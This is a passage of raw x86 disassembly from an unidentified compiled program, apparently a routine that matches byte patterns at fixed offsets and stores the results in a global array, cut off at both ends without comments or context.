add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0x64
jne 0x52e8a2
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 6
cmp eax, ecx
jl 0x52e851
push 0x11d0
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xff
jne 0x52e8a2
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 8
cmp eax, ecx
jl 0x52e88a
push 0x11f9
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
cmp byte [ebx], 0xc0
jne 0x52e8a2
mov eax, 1
jmp 0x52e8a7
mov eax, 0
test eax, eax
je 0x52eb54
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xc
cmp eax, ecx
jl 0x52e8d7
push 0x134b
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52ea65
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0xe
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52e91c
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52e950
and eax, 0xff
jmp 0x52e9a5
cmp ecx, 0x80000201
jne 0x52e95b
cwde
jmp 0x52e9a5
cmp ecx, 0x80000301
je 0x52e9a5
cmp ecx, 0x80000401
je 0x52e9a5
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52e995
cmp ecx, 0x80000601
je 0x52e99a
push 0x1397
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52e9a0
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52e9f1
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52ea4d
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xc
cmp eax, ecx
jl 0x52ea8d
push 0x1407
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
jne 0x52eb54
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52eae5
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52eb41
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x52eb7c
push 0x14c8
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0x33
jne 0x52ec06
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 7
cmp eax, ecx
jl 0x52ebb5
push 0x14f1
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0x8d
jne 0x52ec06
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x52ebee
push 0x151a
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
cmp byte [ebx], 0x64
jne 0x52ec06
mov eax, 1
jmp 0x52ec0b
mov eax, 0
test eax, eax
je 0x52f0b8
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x12
cmp eax, ecx
jl 0x52ec3b
push 0x194d
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
je 0x52ec89
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52ec74
push 0x1976
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xc3
je 0x52ec89
xor eax, eax
jmp 0x52ec8e
mov eax, 1
test eax, eax
je 0x52ed51
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52ecdd
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52ed39
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x12
cmp eax, ecx
jl 0x52ed79
push 0x19e8
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52ef07
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x14
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52edbe
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52edf2
and eax, 0xff
jmp 0x52ee47
cmp ecx, 0x80000201
jne 0x52edfd
cwde
jmp 0x52ee47
cmp ecx, 0x80000301
je 0x52ee47
cmp ecx, 0x80000401
je 0x52ee47
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52ee37
cmp ecx, 0x80000601
je 0x52ee3c
push 0x1a34
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52ee42
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52ee93
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52eeef
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52ef2f
push 0x1aa4
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52f0b8
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x17
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52ef74
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52efa8
and eax, 0xff
jmp 0x52effd
cmp ecx, 0x80000201
jne 0x52efb3
cwde
jmp 0x52effd
cmp ecx, 0x80000301
je 0x52effd
cmp ecx, 0x80000401
je 0x52effd
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52efed
cmp ecx, 0x80000601
je 0x52eff2
push 0x1af0
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52eff8
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52f049
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52f0a5
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x52f0e0
push 0x1bc1
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0x8d
jne 0x52f16a
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 9
cmp eax, ecx
jl 0x52f119
push 0x1bea
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0x33
jne 0x52f16a
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x52f152
push 0x1c13
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
cmp byte [ebx], 0x64
jne 0x52f16a
mov eax, 1
jmp 0x52f16f
mov eax, 0
test eax, eax
je 0x52f61c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x12
cmp eax, ecx
jl 0x52f19f
push 0x204c
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
je 0x52f1ed
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52f1d8
push 0x2075
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xc3
je 0x52f1ed
xor eax, eax
jmp 0x52f1f2
mov eax, 1
test eax, eax
je 0x52f2b5
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52f241
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52f29d
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x12
cmp eax, ecx
jl 0x52f2dd
push 0x20e7
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52f46b
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x14
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52f322
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52f356
and eax, 0xff
jmp 0x52f3ab
cmp ecx, 0x80000201
jne 0x52f361
cwde
jmp 0x52f3ab
cmp ecx, 0x80000301
je 0x52f3ab
cmp ecx, 0x80000401
je 0x52f3ab
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52f39b
cmp ecx, 0x80000601
je 0x52f3a0
push 0x2133
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52f3a6
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52f3f7
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52f453
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52f493
push 0x21a3
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52f61c
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x17
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52f4d8
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52f50c
and eax, 0xff
jmp 0x52f561
cmp ecx, 0x80000201
jne 0x52f517
cwde
jmp 0x52f561
cmp ecx, 0x80000301
je 0x52f561
cmp ecx, 0x80000401
je 0x52f561
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52f551
cmp ecx, 0x80000601
je 0x52f556
push 0x21ef
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52f55c
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52f5ad
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52f609
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x52f644
push 0x22d1
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xb9
jne 0x52f6ce
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xa
cmp eax, ecx
jl 0x52f67d
push 0x22fa
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0x8d
jne 0x52f6ce
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xe
cmp eax, ecx
jl 0x52f6b6
push 0x2323
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
cmp byte [ebx], 0x64
jne 0x52f6ce
mov eax, 1
jmp 0x52f6d3
mov eax, 0
test eax, eax
je 0x52fc59
mov ebx, dword [ebp - 0xc]
add ebx, 0x10
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 7
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52f70f
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52f743
and eax, 0xff
jmp 0x52f798
cmp ecx, 0x80000201
jne 0x52f74e
cwde
jmp 0x52f798
cmp ecx, 0x80000301
je 0x52f798
cmp ecx, 0x80000401
je 0x52f798
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52f788
cmp ecx, 0x80000601
je 0x52f78d
push 0x27b3
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52f793
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52f7c5
push 0x2805
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
je 0x52f813
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x18
cmp eax, ecx
jl 0x52f7fe
push 0x282e
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xc3
je 0x52f813
xor eax, eax
jmp 0x52f818
mov eax, 1
test eax, eax
je 0x52f8db
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52f867
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52f8c3
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52f903
push 0x28a0
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52fa91
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x17
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52f948
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52f97c
and eax, 0xff
jmp 0x52f9d1
cmp ecx, 0x80000201
jne 0x52f987
cwde
jmp 0x52f9d1
cmp ecx, 0x80000301
je 0x52f9d1
cmp ecx, 0x80000401
je 0x52f9d1
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52f9c1
cmp ecx, 0x80000601
je 0x52f9c6
push 0x28ec
